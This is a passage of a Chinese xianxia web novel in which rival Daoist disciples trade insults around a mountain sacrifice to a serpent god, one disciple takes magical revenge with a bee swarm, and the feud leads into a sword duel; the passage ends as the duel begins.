刘明涛有些意外,又十分失望。他大老远来一趟,就是为了跟师兄耀武扬威一番,没想到魏清风不在。他好像一拳打在了棉花上,觉得十分没意思。他的儿子和弟子们跟在他身后,一起往青岩山中走去。 夕阳照在山路上,段星河等人在前头带路。刘明涛的儿子骑马走在他们身边,年纪跟他们差不多大,人生的还算齐整,就是眼神里藏着一股嫌弃。他名叫刘正阳,小时候跟着父亲受了几年穷,后来发迹了,总算过上了锦衣玉食的生活。这次来见穷亲戚,他很替父亲不值,总想给这帮人一个下马威瞧瞧。 他见段星河穿着一身棉布道袍,发髻上别着一根桃木簪子,浑身上下没有一件值钱的东西。刘正阳却鲜衣怒马,腰上挂着白玉佩,头上戴着鎏金簪,穿着一双小牛皮的靴子,一副大少爷的打扮。他嗤道:“段师兄,你的马呢?” 段星河淡淡道:“这段路我都走习惯了,不用骑马。” 刘正阳便偏过头跟旁边的人道:“原来是舍不得,我还以为是没有呢。” 一众天心观的弟子登时嬉笑起来,赵大海不乐意了,粗声道:“你们嘀咕什么呢?” 刘正阳无辜道:“没什么啊,我听说穷人都费鞋,脚丫子不值钱的。段师兄这鞋倒是挺新的,是知道咱们要来现买的么?” 刘明涛听着他儿子冷嘲热讽的,也不阻止,其他人跟着嘻嘻哈哈地凑趣。段星河也不恼火,淡淡道:“修行之人以朴素为本,刘师弟家学颇深,不知修炼到什么程度了?” 刘正阳天天带着一帮狐朋狗友吃喝玩乐,觉得天塌下来有他爹顶着,修行十分懈怠。被他问到了痛处,含糊道:“练气……四、五重……了。” 伏顺嘿地一声笑了,道:“到底是四重还是五重啊,我们观里的小师妹都练气四重了,刘大公子总不能连个小孩儿都不如吧?” 刘正阳涨红了脸,道:“五重,怎么的?” “没什么,”段星河平和道,“花花世界迷人眼,想要修行,还是在山里清清静静的才能专心。” 他虽然年纪不大,却有种不卑不亢的气度。刘正阳不服道:“那段兄练到什么程度了?” 段星河淡然道:“不才开悟的晚,前年才刚筑基。” 此言一出,众人都睁大了眼,忍不住上上下下重新看了他一遍。修仙最讲究悟性,许多人练气几十重都无法筑基,穷尽一生打坐修炼也不过在山门外徘徊罢了。而段星河不过十八九岁,就有机缘筑基,显然是很有天赋了。众人有的羡慕、有的嫉妒,也有人藏着怀疑,不信他有这等修为。 刘明涛表面不动声色,心里也十分震惊。他身为天心观的掌教,四十多了才修到金丹初期,而且在这个境界徘徊已久,难以获得寸步精进。这小子年纪轻轻的,居然修的这么快。 伏顺虽然自己本事一般,却很为大师兄骄傲,挺起胸膛道:“我大师兄已经筑基二层了,能辟五谷,寿元突破百岁,还能容颜不老。今年十九岁,一百年以后还长这样,羡不羡慕?” 其他人都沉默下来,没了刚才嚣张的气焰。刘正阳很不服气,道:“光活得久有什么用,没有钱日子照样过不舒服。我天心观的符箓之法博大精深,随便传你个一招半式,就够你发财的了。怎么样,想不想学?” 伏顺随手拔了一根狗尾巴草,叼在嘴里,懒懒道:“不就是鬼画符吗,给根毛笔三岁小孩儿都会,有什么了不起的?” 刘正阳恼了,道:“你说什么?” 这刚一见面,双方就各放小弟咬人。段星河听着他们要吵起来了,这才道:“三师弟,师父说过,天下的修真之法林立,各有所长,不可妄自尊大,你都忘了?” 他这话虽然是在约束伏顺,却是说给天心观的人听的。那帮人傲慢得要命,有几个臭钱就觉得自己了不起,实在讨人厌。刘正阳还想说什么,刘明涛轻咳了一声,示意儿子先别斗嘴了。这还没进山门呢,等落了脚再慢慢消遣他们。 一行人进了逍遥观,赵大海和伏顺帮他们把马拴起来了。乔月柔出来见过了刘明涛,温和道:“刘师弟来了,一路奔波辛苦了。” 其他弟子跟在师娘身后,恭敬行礼,齐声道:“拜见刘师叔。” 刘明涛摆了摆手,道:“不必客气,魏师兄不在么?” 乔月柔道:“他出去云游了,一时半会儿回不来,祭祀的事我们已经准备好了。” 刘明涛点了点头,抬眼看着面前陈旧的宫观。屋檐上的瓦片残缺不全,砖墙上裂了些缝,若是当初自己不曾离开,现在应该也跟其他人一样,依旧过着晨钟暮鼓的穷日子。 乔月柔让段星河带众人去客房落脚,随后把茶水饭食送了过去。安顿好了客人,段星河从后院出来,松了口气,感觉跟天心观那帮人在一起就格外心累。他回到屋前,见步云邪身边的小童站在连廊下,揣着手转来转去的,大老远一见他眼睛就亮起来了。 他快步过去,道:“你找我?” 小童名叫小笙,长着张圆圆脸,是步家寨子里的人,平日在星垂殿洒扫,穿着一身彝家的黑衣裳,裤脚上绣着一圈蓝色的小花。他递给段星河一个布包,道:“白天寨子里的叔伯来帮忙,说办仪式让逍遥观破费了。族长出了三十五两银子,让给观里补上窟窿。” 天心观那帮人来了,连吃带喝的要花不少钱,段星河正有些犯愁。步家寨子里肯帮衬这边,让他松了口气。他道:“多谢,明天我就交给师娘。” 小笙小声道:“步师兄说,让你自己留五两银子。这段时间你忙里忙外的辛苦啦,自己存点私房钱。” 段星河道:“寨子里长辈给的,我哪能自己克扣。” 小笙就知道他会这么说,道:“步师兄说这是族长给的钱,他爷爷的钱就是他的钱,他家人愿意给你花的。” 步云邪的爷爷是寨子里的族长,对逍遥观的弟子一向挺好的。小时候段星河跟步云邪去寨子里玩,族长在小溪里镇了西瓜,亲自切给他们吃。段星河笑了,道:“师娘肯定要赏我的,到时候再说吧。” 小笙想了想,又道:“方才我听顺子哥说,天心观那些人欺负你们啦?” 段星河道:“就是刘大少嘴欠,我们也没吃亏,已经怼回去了。” 小笙愤愤道:“那帮人有几个臭钱就觉得自己了不起,等我告诉步师兄去!” 段星河知道步云邪有点爱记仇,若是让他知道了恐怕要惹麻烦。他道:“说了让他分心,算了。” 明天就是祭祀的大日子了,确实不适合节外生枝。小笙喔了一声,摆了摆手道:“那你好生休息吧,明天见。” 段星河笑了一下,道:“明天见。” 3. 祭祀 三 天色暗了下来,寨子里的人们来到了祭坛前,老人拄着拐杖,妇人抱着孩子。祭坛旁边放着一大摞蒲团,每人领一个找地方坐下。逍遥观和天心观的弟子已经等在这里了,所有人的神色都十分庄重。 祭坛上放着供桌,上面已经摆好了猪牛羊三牲,还有一些鲜花、果品和谷物。供桌前方是一个青铜大鼎,地上架起了柴堆。 月亮爬到了中天,步家寨子的人吹起了牛角号,低沉的声音里透着一股神秘感。一人敲了一记铜锣,长声道:“吉时已到,祭祀开始——” 段星河和赵大海等人为了参加仪式,白天洗过了澡,用松枝和艾叶熏了衣裳。他们把两担白酒抬了上来,哗哗地倒进了青铜大鼎里。伏顺拿来了火把,段星河接过去点燃了柴。火熊熊地燃烧起来,照亮了下面人们的面庞。 步云邪走到祭坛上,跳动的火光照亮了他的身影,他的容貌俊美而又庄严。他穿着一身黑色的祭司法袍,戴着一个银色的头冠,后面是一个空心的圆月光环,代表着当地人对夜晚的敬畏和崇拜。他的脖颈上戴着一个硕大的银项圈,末端坠着绿松石和蜜蜡雕刻成的坠子,感谢上天赐予他们丰沛的雨露和粮食。 刘正阳坐在下面眯起了眼,低声道:“就是他,从小跟老子作对,气人得很。” 旁边一名师弟摸了摸下巴,道:“长得还挺俊的。” 刘正阳恼了,道:“你哪边的?” 那人回过神来,连忙道:“一看就是个绣花枕头,比不上咱们师兄有本事!” 步云邪双目微垂,在火光与月色交织中念诵着咒文,感谢神明对子民们的保佑。刘正阳还是头一次参加祭祀,在下面坐的腰酸背疼的,一会儿功夫就换了三个姿势。他爹看了他一眼,示意他老实一点。他只好把翘着的二郎腿放下来了,说:“这有什么好看的,没意思。” 刘明涛的神色严肃,低声道:“祭祀是大事,别胡说八道。” 步云邪拿起了供桌上的刀,把三牲切成了肉块,放进了木盆里。段星河和赵大海把肉倒进了青铜大鼎里,鼎里的酒水已经煮沸了。肉块倒进去,很快就浮起了褐色的血沫。 没过多久,大鼎里弥漫出了浓郁的酒香、猪羊肉的香味,还有松枝的气息。台下众人嗅着空气里的香味儿,忍不住咽起了口水。小孩子伸着手道:“娘,我想吃肉了。” 年轻的母亲小声道:“你乖乖的,等会儿肉煮熟了,每个人都有份。” 肉块在酒水中翻滚着,祭祀进行到了第二阶段。逍遥观的人把十来捆稻草搬到了台上,有人把一柄镰刀状的法杖抬上来。步云邪接了过去,刀光划了一道银色的弧线。步家寨子里有人摇起了铃鼓、吹着笛箫,奏起了古朴苍凉的乐曲。步云邪舒展双臂,跳起了祭祀的舞蹈。 火光照在祭司身上,黑色的法袍在风中猎猎舞动。沉重的镰刀在暗夜中一刀刀挥下来,透出一股阴沉诡异的气氛。刘正阳不觉间被吸引住了,又有种汗毛直竖的感觉。他低声道:“不是……他跳舞拿着镰刀干什么,还翻稻草,都戳烂了,还戳?” 刘明涛觉得自己儿子这样大惊小怪的实在丢脸,低声道:“这台上的稻草代表了祭祀时的人牲,让你多读些书,怎么什么也不知道?” 刘正阳打了个寒战,看着他爹道:“那他用刀戳是……” 乔月柔坐在旁边,轻声道:“祭司要把没死透的人牲用镰刀杀死,免得他们抵抗,坏了虺神享受的兴致。” 她的态度柔和,说出的话却让人不寒而栗。换成谁也想不到,看起来平平无奇的祭祀仪式,几百年前却这么血腥。笛箫声呜呜咽咽的,透着一股鬼气。台上的舞蹈还在继续,代表肉身的稻草已经被割的不成样子了。 刘正阳打了个寒战,下意识看向头顶的天空,黑沉沉的云遮住了月亮,仿佛有什么藏在云层后面,默默地注视着这场仪式。 献完人牲之后,来到了第三阶段。步云邪凝聚灵力,凌空书写咒文。嗡地一声,金光生成一道符咒,融入祭坛之中,象征镇压住了邪祟。 “喔喔喔——” 下面的寨民轰然发出了赞叹声,没想到他们的祭司真的有降妖的神力。 大鼎中的肉煮熟了,祭司把肉分成两半,一部分用担子装着,和三牲的头放在一起,送到虺神洞里上供。另一部分切成小块,寨子里的人们排着队来到祭坛前,每人都能分到一块肉吃。 吃了这些肉,便能得到虺神的赐福。大家平时也舍不得吃肉,今天就像过节一样,热热闹闹的十分高兴。 担子里沉甸甸的,段星河和赵大海把三牲的头和煮好的肉抬到了虺神洞里,摆在了祭祀台上。两人负阴抱阳,双手结太极印,行礼道:“请虺神享用。” 壁画上的巨蛇居高临下地看着他们,显得十分威严。段星河想起自己要把那块碎石头还回来,伸手一摸,发现白天洗澡换衣裳,忘了把腰包带来了。 他啧了一声,最近忙的昏天黑地的,什么事也不记得了。赵大海见他懊恼,道:“怎么了?” 段星河摇了摇头,道:“没事,回去吧。师娘还等着咱们呢。” 两人倒退三步,这才转身从山洞中走了出去。回到祭坛时,步家寨子里的人已经散的差不多了。步云邪和小笙收拾了祭台,魏小雨和几个小孩儿帮忙捡起地上的蒲团,收了一大摞放在竹筐里。 老族长拄着龙头拐杖留在最后,跟乔月柔聊了几句,道:“今年清风道长不在,多亏了魏夫人主持大局,辛苦了。” “应该的,”乔月柔道,“族长封的银子我收到了,多谢你们。” 族长摸了摸雪白的胡子,道:“你家星伢子办事妥帖,魏夫人有这么个好徒弟,实在是有福气。我那小孙子就一身反骨,老是让人不省心。” 乔月柔道:“云儿年纪轻轻的,就把祭祀主持的这么好,还是族长教导有方。” 族长便弯起眼笑了,脸上的皱纹仿佛都开出了花,觉得自家孩子把仪式主持的很漂亮,让他脸上有光。刘明涛在一旁待了片刻,也没人理自己。他身为堂堂一派掌教,受到这样的冷落,有些抹不开面子。 他看了一眼自己的儿子,觉得这小子除了吃和睡,干什么也不成,跟别人家孩子比起来实在差的太远了。刘明涛叹了口气,迈步走在前头,其他人见师父走了,便也跟了上去。 刘正阳道:“爹,你干嘛去?” 刘明涛冷冷道:“回去睡觉。” 刘正阳感到了父亲的嫌弃,心里很不痛快。他远远地看着步云邪,生出了浓浓的嫉妒,觉得都是这臭小子比的自己掉了价。他嘁了一声,轻蔑道:“有什么了不起的,长得不男不女的。一辈子都没出过这个破山沟,清高个屁!” 旁边有人道:“听说祭司都是献给神的小老婆,梦里与神交合,一向都是挑漂亮女子来当的。这步家的小子穿着女人的衣裳跳大神,是想被虺神收去当面首么?” 一群人轰然笑了起来,挤眉弄眼的十分快活。步云邪已经摘下了头冠,脖子上还挂着银项圈,正在收拾东西。听见了他们的话,他的目光射过来,透出一股戾气。 他抬手朝这边指了指,没说什么,沉着脸走了。一人小声道:“他有病啊,指什么?” 另一人道:“该不会是……数有几个人吧?” 其他人想起了步云邪拿着镰刀祭祀的情形,生出了些惧意。青岩山是步家寨子的地盘,他是族长的孙子,没人敢得罪他。刘正阳悻悻道:“算了,强龙不压地头蛇,咱们回去吧。” 收拾完了祭坛,大家准备回去休息了。师娘和段星河走在前面,其他弟子们走在中间,小雨打着呵欠跟在后头。伏顺回头道:“小祖宗,你别掉队啊。” 魏小雨道:“我困了,大师兄背我。” 段星河一向宠她,便停下来扎了个马步。小雨乐开了花,爬到他背上道:“走吧。” 师娘皱眉道:“小雨,又给你师兄添麻烦。” “没事,”段星河道,“小师妹白天干了好多活呢。” 伏顺也道:“对对,烧火用的松树枝就是她和小泥鳅拾的,蒲团也是她收的。” 夜色深沉,天上的星子寥落。魏小雨道:“娘,上次那个故事没讲完呢,虺神赐予那七个兄弟力量之后呢?” 赵大海道:“我知道,我来说。虺神要求人类向它献上人牲,否则就要降下灾祸,大家只能照办。后来虺神的胃口越来越大,吃、吃的人越来越多,大家受不了了,就……就想反抗。” 魏小雨惊讶道:“啊,然后呢?” 赵大海一着急就犯磕巴,听的人不得劲。段星河接口道:“那几个兄弟就向另一位神明祈求帮助,象征着光明的凤神赐给了他们一把宝剑。兄弟们用酒煮了牛羊肉,献给虺神。趁它吃肉醉倒了,便用那把宝剑把虺神镇压住了。” 走在一起的几个小孩儿都十分惊讶,他们还以为祭祀是感谢虺神的赐福,没想到是在重演当年祖先们战胜虺神的故事。 魏小雨还不信,道:“娘,是真的么?” 乔月柔道:“是啊,为了保持封印不会松动,每隔十年都要举行一次祭祀。只要虺神一直保持沉睡,大家就能安居乐业了。” 说完了故事,段星河回头看了一眼,人群里不见步云邪的身影。他道:“阿云呢?” 伏顺道:“他回星垂殿休息了吧,小笙跟他在一起。” 段星河道:“刘正阳他们呢?” 伏顺道:“先回去了吧,我刚才见他们从另一条路上走了。” 段星河便放了心,和大家一起往回走去。总算把仪式办完了,得好生休息几天。 青惨的月光照下来,山间弥漫着一片薄雾。远处传来枭鸟的叫声,咕咕咕咕——声音凄惶,让人毛骨悚然。 刘正阳不想跟段星河他们一起走,便抄了近路。其他人已经跟着刘明涛回去了,刘正阳和几个小弟落了单,手里提着一盏幽红的灯笼照亮,有点怵得慌。 泥地上散落着干枯的枝叶,疯长的草木遮天蔽日的,到处都差不多。一人小声道:“师兄,这路对不对啊?” 刘正阳不容置疑道:“有什么不对的,我以前在这儿住过一阵子,闭着眼都能走出去。” 另一人指着路边的一个石头墩子,颤声道:“大师兄,我看这林子里的石雕缺了个口,咱们已经从这里走过两次了。” 他不说这话还好,一说其他人都害怕起来。刘正阳提起灯笼照亮了那个石雕,一只尖嘴狐狸耳朵缺了一块,蹲在茂密的长草里,阴沉沉地看着他。 一人道:“大师兄,咱们是不是遇上鬼打墙了?” “胡说!”刘正阳道,“咱们就是道士,鬼见了我都要绕路!除障符呢,谁带了?” 大家摸索着身上,没人带出来。刘正阳心烦意乱的,抓了抓头发道:“你们这帮废物,要你们有什么用!” 一人道:“要不然就喊人来救吧,光这么走不是个办法啊。” 刘正阳怒道:“喊什么喊,你不要面子我还要呢!” 其他人只好闭了嘴,跟着他又往前走了一阵子。他拨开几片硕大的牛蒡叶子,感觉这回肯定不一样了,却见那只缺了耳朵的狐狸石雕赫然就在眼前。 其他人害怕起来,背靠着背聚在一起。一人小声道:“今天是祭祀的日子,该不会是虺神苏醒了,来抓人了吧。” 阴森的气氛笼罩下来,刘正阳也说不出话来,手心里满是冷汗。这时候前头传来一阵沙沙的脚步声,一个长长的身影投过来。刘正阳打了个激灵,提起灯笼,大声道:“谁!” 那个影子没有回应,一团黑雾从山林中弥漫出来,仿佛是他身上的某部分化成了飞灰。眨眼间那片黑雾向他们扑了过来,发出了嗡嗡的轰鸣,却是一窝黑压压的蜜蜂。 “妈呀——啊啊啊啊啊——” 山里的蜂子格外毒,被这玩意儿蛰了,轻则肿如猪头,重则丧命。一群人吓了一跳,扔了灯笼拔腿就跑。 一群人被蜜蜂追的鬼哭狼嚎,有人慌乱中从山坡上滚了下去,摔的头破血流。有人跳进了河里,躲在了水中。刘正阳慌乱中被蛰了好几下,却像是中了邪一般,眼前有路也看不见,只在一个地方打转。 黑色的衣袍从一棵凤凰树上垂了下来,一双脚尖荡了荡。步云邪坐在树枝上看着远处的情形,露出了玩味的笑容。 他伸手点了点,喃喃道:“水里一个、土里两个、山上一个,还有一个去哪儿了?” 一只金色的蜂王在他面前悬停着,是他跟小姨学的蜂王蛊。只要蜂王听他指挥,其他蜜蜂就会为他冲锋陷阵。蜜蜂们在草丛中找到了躲起来的那个人,一拥而上,把那人蛰得满头包。那人疼得像是被火钳夹了一般,惨叫着满地打滚,昏了过去。 这回人都齐了,他满意地打了个响指,道:“回去吧,好孩子。” 蜂王听懂了他的命令,嗡嗡地飞了下去,带着那群蜜蜂飞走了。步云邪从树上跳下来,走到刘正阳面前,用脚尖碰了碰他。 “喂。” 刘正阳已经昏过去了,脸肿的像馒头一样,完全没了刚才说人是面首的那股嚣张劲儿。 步云邪脸色一沉,用力地踢了他肚子一脚,道:“让你嘴欠,再嘴欠试试!” 在这青岩山中,还没有人敢这么说步云邪。他踢了刘正阳几脚,身上戴的装饰叮当作响。刘正阳中了蜂毒,整个人昏昏沉沉的,也没法反抗。 步云邪出了一口恶气,心里舒服多了。他迈步向前走去,到了林子尽头一拂衣袖,一道金色的光芒闪过,解除了鬼打墙的印记,悄然离开了。 段星河最近一直忙前忙后的,总算能歇歇了。他一觉睡到中午,把精气神都养足了。他洗漱完了出来,听见外头闹哄哄的,不知道怎么回事。他来到后堂,见天心观的人聚在这里吵吵嚷嚷的。师娘被围在中间,显得有些为难。 伏顺和其他弟子站在旁边,神色都十分怪异,好像想笑,却又不敢。段星河走了过来,见刘正阳坐在一旁的椅子上,脸肿的像馒头一样,嘴唇肿着直流口水。另外几个人也灰头土脸地歪在一旁,似乎是被蜂蛰了。 刘明涛一大早不见儿子,他屋里空荡荡的,竟是一宿没回来。刘明涛心慌起来,让人到处寻找。师娘得了消息,也让观里的弟子和寨子里的人一起寻找。 寨民们在山林里发现了他们,把人背了回来。寨子里的郎中看了一眼,说是被蜂蛰了,给他们把皮肤里的毒刺拔出来,又给他们冲洗了伤口,敷上解毒的药膏。 这儿子虽然不成器,毕竟是亲生的。刘明涛心疼的不得了,道:“好端端的,怎么会被蜜蜂追的?” 刘正阳含含糊糊地说:“我们遇见了鬼打墙,走不出去……远处有个黑影,我们看不清楚,然后一群蜂就来蛰我们……” 老族长坐在一旁,神色凝重道:“据说祭祀的时候,山神会在夜里出来游逛。说不定他们昨天晚上遇见了山神,差点被带走了。” 一名弟子不服气,道:“山神为什么不抓别人,偏要抓刘师兄?” 郎中用镊子把一根毒刺从他脑门上拔下来,道:“那可不好说,是不是他说了什么对山神不敬的话?” 众人都看了过来,刘正阳平时嘴上就没把门的,也不知道是哪句话得罪了山神。刘明涛从小在青岩山里长大,也听过山神抓童子的事。刚举行完祭祀就遇见这样的事,实在是有些瘆人。 处理完了伤口,郎中让好生休息。刘明涛叫人抬了个步辇过来,把他儿子接走了。其他伤员没有这么好的待遇,互相搀扶着回去了。 看着他们走远了,伏顺憋了好久,噗嗤一声笑出来。 “哈哈哈哈哈,你们看见没,他的嘴肿成那样!” 其他人都忍不住笑了,刘大少一天到晚嫌弃他们,总算能让他消停几天了。 刘正阳的骨相生得不好,脸先天有点往里凹,伏顺他们私底下管他叫丝瓜瓤。这回被蜂子一蛰,他凹进去的部分总算补足了,但里出外进的越发难看了。 段星河的嘴角根本压不住,觉得特别痛快,可惜步云邪没来亲自瞧一瞧。伏顺笑够了,道:“大师兄,吃饭去么?” 段星河大手一挥,道:“走,今天高兴,多吃两碗!” 休息了几天,刘正阳脸上的肿渐渐消了。他拿着镜子左照右照,感觉自己没有从前好看了。他心里窝着一股火,总觉得这件事有蹊跷,让小师叔去他出事的地方看一看,非要找出点蛛丝马迹来。 小师叔名叫于九,三十出头年纪,身材高挑,三句话离不开钱,却又颇讲义气。他原是个四方游历的剑修,刘明涛见他修为不错,便花重金请他留在天心观修行,给自己撑一撑场面,顺便保护自家二世祖。刘正阳让他去找线索,他便去了。 中午于九回来了,神色凝重。刘正阳探头道:“怎么样?” 于九没回答,把一样东西递了过来。刘正阳看了一眼,顿时从床上坐起来了,咬牙切齿道:“还真是那小子!” 于九道:“要告诉你爹么?” 刘正阳寻思了一下,要是告诉长辈,那帮人又要找借口护着他。既然他私下整自己,自己便也私底下整回去 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“快了吧,”段星河道,“我看刘大少的脸快消肿了,养好了就该走了。” 步云邪喔了一声,心不在焉道:“早知道就下手轻点了。” 段星河回头看他,道:“你干的?” 步云邪拿起一块点心,无辜道:“啊,你说什么?” 段星河便笑了,没再追问。师父云游在外,那帮人欺负自己家里没个掌事的,给他们点教训也好。段星河知道要是没有小师叔默许,刘正阳也不敢这样一直挑事。 他这么想着,忽然分外想念起师父来。段星河望着远处,想起了刚入门时,师父给他们讲课的情形。 阳光照在讲堂里,师父缓缓道:“道可道,非常道;名可名,非常名。修行之人,要找到自己的道心。每个人的道都不一样,只要你对它坚定不移,就能筑基。” 他看了课堂一圈,赵大海头一点一点的,忍不住要打瞌睡。伏顺坐在角落里,被赵大海衬托的像个阴影,几乎看不到他的存在。步云邪一脸平静,认真听讲。段星河望着师父,眼睛明亮,举起了手。 魏清风道:“什么事?” 段星河道:“师父,你的道心是什么?” 魏清风笑了,道:“等以后你修炼有成了,师父就告诉你。” 风吹过庭院,段星河回过了神,叹了口气。他道:“不知道师父什么时候回来。” 步云邪觉得师父行踪不定,祭祀这么大的事都没回来,说不定是被什么事绊住了。他道:“你修炼的怎么样了?” 段星河道:“还那样,怎么了?” 步云邪低声道:“外头那么危险,要是师父出了什么事,以后观里就要由你做主了。” 段星河皱眉道:“别说这种话,师父出去游历,早晚会回来的。” 步云邪是不想让家里人被外人欺负,见他不爱听,便轻轻笑了。他道:“你是大师兄,这是早晚要担的责任,想一想怕什么了?” 段星河摆了摆手,仿佛觉得大逆不道似的。他道:“我就想过几天悠闲日子,要不然你来吧。” 步云邪也敬谢不敏,道:“我一心求清净,你让我操心那么多事?” 逍遥观就这么大点,没什么钱,事还不少,两个人都对当掌教不感兴趣。段星河从小承担了太多责任,想偷闲都找不到时间,以至于立道心的时候干脆选了个自在。他道:“那就这么过着呗,师娘管的挺好的。万一以后她顾不上了,再说以后的事。” 步云邪也不是爱跟人打交道的性子,随着他立了个清净的道心。段星河吃了一块西瓜,从里到外透出一股清凉,舒服地叹了口气,夏天还是要这么过才惬意。 步云邪躺在走廊上,拿一把白团扇挡着脸,正想小憩一会儿,忽然听见祭坛那边传来一阵喧闹声。 小笙跑过来,慌张道:“不好了,天心观的人跟咱们的人吵起来了!” 步云邪挪开了扇子,跟段星河互相看了一眼,觉得那帮人真是一会儿也不消停。两人站了起来,绕过大殿向后走去,就见两拨人聚在祭坛跟前。 魏小雨和一帮小孩儿叉着腰大声道:“叫我们来干嘛?” 天心观的一群人站在她们对面,道:“我们刘师兄受了伤,肯定是你们害的,快把害人的凶手交出来!” 魏小雨人虽然小,吵架却不输阵,道:“你们刘师兄对山神不敬,山神对他略施薄惩,没把他收走就不错了,你们还敢诬赖人!” 天心观的人道:“你们敢在祭坛前发誓,说不是你们的人干的么?” 魏小雨像个小炮仗似的,大声道:“凭什么你让我发誓就发誓,虺神的祭坛是给你们闹着玩的吗?” 天心观的人道:“什么虺神,根本就是虚无缥缈的东西,也亏得你们这帮穷鬼一天到晚神神叨叨的。” 魏小雨道:“有的,我见过虺神,是一条很大的蛇。它身体黑黢黢的,眼睛是红的,就像两个灯笼一样。它朝我游过来吐信子,我就昏倒了。” 对面的人都笑了,觉得这小孩儿是在做梦。一人逗她道:“那它在哪儿,你叫它出来啊。” 魏小雨自然召唤不出来,气得直跺脚。旁边的小泥鳅扯了扯她,道:“别跟他们吵了,这些人愚痴脑袋,说什么都不信的。” 一名天心观的弟子嘲道:“这些人又穷酸抠门,还要装模作样。祭祀的时候舍不得用整牛,买了个牛头凑数。你们那么崇拜虺神,怎么还糊弄它老人家?” 又有人道:“这算什么,他们还养了一窝怪人呢。前天我经过一个院子,见里头的人都长得歪瓜裂枣的,不是瘸子就是独眼。你们想看吗,我带你们去瞧瞧啊!” 赵大海在那边看着那些残疾的师弟妹,大家本来不想落了师门的面子,这几天一直没出来,结果还是被发现了。魏小雨有点急了,抬起双臂道:“不准去,你们不准去!” 一人嘲道:“被说中了吧,这就急眼了,哈哈哈哈。” 吵嚷中两边推搡了几下,对面的人都是十七八岁的少年,魏小雨这边是一群小豆丁,根本打不过他们。她气的眼睛都红了,这边离星垂殿近,小石头道:“你等一下,我去把步师兄叫过来。” “不用叫了,”步云邪淡淡道,“动静这么大,我已经听见了。” 魏小雨回头一望,见步云邪和段星河从大殿那边走了过来。 段星河扳起脸道:“怎么又吵起来了,这是吵架的地方么?” 魏小雨十分委屈,道:“大师兄、二师兄,我没想在这儿喧哗……是他们叫我们过来的,说不来就是胆小鬼。” 对付半大孩子,这种激将法最管用。段星河叹了口气,转头见不远处的一棵大榕树下停着个步辇。刘正阳靠在椅背上,看着一帮大孩子欺负小孩子,丝毫没有要干涉的意思。 段星河走了过去,冷冷道:“刘正阳,你这是什么意思?” 刘正阳觉得他的态度不够好,掏了掏耳朵道:“哎呀……我前两天被蜂子蛰得还没好,听东西不是特别真,你叫我什么?” 段星河深吸了一口气,压住了心里的火气,道:“刘兄,你带这么多人来干什么。” 那两拨人站在远一点的地方,大眼瞪小眼的还在对峙。于九站在旁边,像个保镖似的护着刘正阳。刘大少迈步从步辇上走下来,阴沉道:“我就想问问,那天晚上到底是谁害我?” 他看向段星河,道:“是你么?” 段星河沉默不语,他又把目光投向了步云邪,道:“那就是你?” 步云邪一脸淡漠,仿佛觉得他逮谁咬谁,脑子有病。刘正阳凑近了他,低声道:“我前几天一直在屋里养伤,小师叔替我去山林里转了一圈,在我昏倒的地方发现了个东西,不知道你见过没有?” 他说着,从袖子里掏出了一块谷物状的蜜蜡石,上面镶嵌着个银环,竟是从步云邪的项圈上掉下来的。看到那块蜜蜡的瞬间,步云邪的脸色顿时变了。段星河心里也咯噔一下子,感觉事情没有这么容易过去了。 刘正阳找到了证物,整个人都得意洋洋的,道:“你说咱们这个事,是要公了呢,还是私了?” 步云邪冷冷道:“你什么意思?” 刘正阳咧开嘴,一脚踩在了旁边的一块大石头上,露出了自己的裤/裆。 他撩起了衣襟道:“要公了,我就去找你爷爷,让他用族规来处罚你。要私了,你就给我跪下磕三个响头,再从我胯/下钻过去。步公子,你挑一个吧。” 4. 祭祀 四 这事若是闹到爷爷那里去,步云邪要挨家法不说,这祭司必然是做不成了。他从小跟母亲学习祭祀,花了很多心血在上面,实在不愿意就这么断送了前程。 可让他向刘正阳磕头求饶,他无论如何也做不到。步云邪抿着嘴唇,眉头紧紧地压下来,后悔自己逞一时之快,惹了这样大的麻烦。 刘正阳阴沉地看着步云邪,仿佛觉得能够践踏他的尊严,是一件极痛快的事。步云邪无论哪个也选择不了,攥紧了拳头。段星河不能让人欺负自己的师弟,开口道:“刘兄,这件事恐怕有误会,咱们有话好说。” 刘正阳看了他一眼,傲然道:“现在你们又想跟我好好说话了,先前放蜂蛰我的时候,怎么下手这么狠啊?” 段星河深吸了一口气,想暂且周旋过去。他道:“我们确实不知道刘兄是被谁伤的,但大家都是好兄弟,我们见你这样也很不好受。这样吧,我这里有几颗素心丹,刘兄若是不嫌弃就请拿去,对修炼很有好处。” 他从腰包里掏出了一瓶丹药。这是师父之前赏给他的药,服用了修炼能事半功倍。原来一共有十颗,此时还有四颗,他一直舍不得吃。 步云邪微微皱起眉头,觉得这么好的药给刘正阳,简直是暴殄天物。没想到对方还不稀罕,一把就把段星河的手打开了。 “别在这儿假惺惺的了,谁知道里头有没有毒!” 瓶子摔得粉碎,几颗药丸滚落在地上。这人一贯的不识好歹,段星河沉默着弯下腰,要捡起来。刘正阳一脚踩上去,把药丸碾得粉碎。段星河饶是养性功夫再好,也恼火起来。 他皱眉道:“你干什么?” 刘正阳冷笑道:“谁让你替他出头了,我和他之间的事,跟你有什么关系?” 这小子这么嚣张,简直一点转圜的余地都没有。步云邪想说话,段星河把他挡在了身后,冷着脸道:“他是我师弟,为难他就是不行。想怎么样,你划个道吧。” 刘正阳扬起了嘴角,道:“想在我面前逞能,行啊,只要你能打赢我小师叔,这件事我就既往不咎。” 于九走到跟前来,神色淡淡的。刘正阳傲然道:“我小师叔可厉害得很,他以剑入道,已经到了筑基九重的境界。你要是怕了,就赶紧磕头求饶,还来得及。” 段星河管他筑基多少层,要是任人欺负不还手,那还是男人么?他沉声道:“我早就听说于师叔修为高强,想跟他切磋切磋。” 他冷冷道:“拿剑来!” 小笙跑回了星垂殿,片刻拿了步云邪的佩剑过来。其他人见这边要比试了,纷纷围了过来。段星河跟于九相对站在祭坛前,刘正阳坐回了步辇上,一副悠然的模样,要看对方狠狠出一场大丑。周围的人纷纷大声起哄,喊道:“小师叔,给他们点厉害瞧瞧!” 魏小雨不服气,带着身边的人大声喊道:“大师兄,加油啊!” 步云邪在一旁看着,十分担心。段星河拔出剑来,心里清楚对方的实力强劲,神色凝重。于九的神色平静,道:“你年纪小,我让你先手。” 段星河也不客气,唰地甩了个剑花,使出师父教的逍遥剑法攻了过去。他是剑修,纯粹的金灵根,五行道法练得也不错。他的本事比大多数年轻人强不少,但筑基二层跟九层差的太远了,动起手来还是吃亏的。 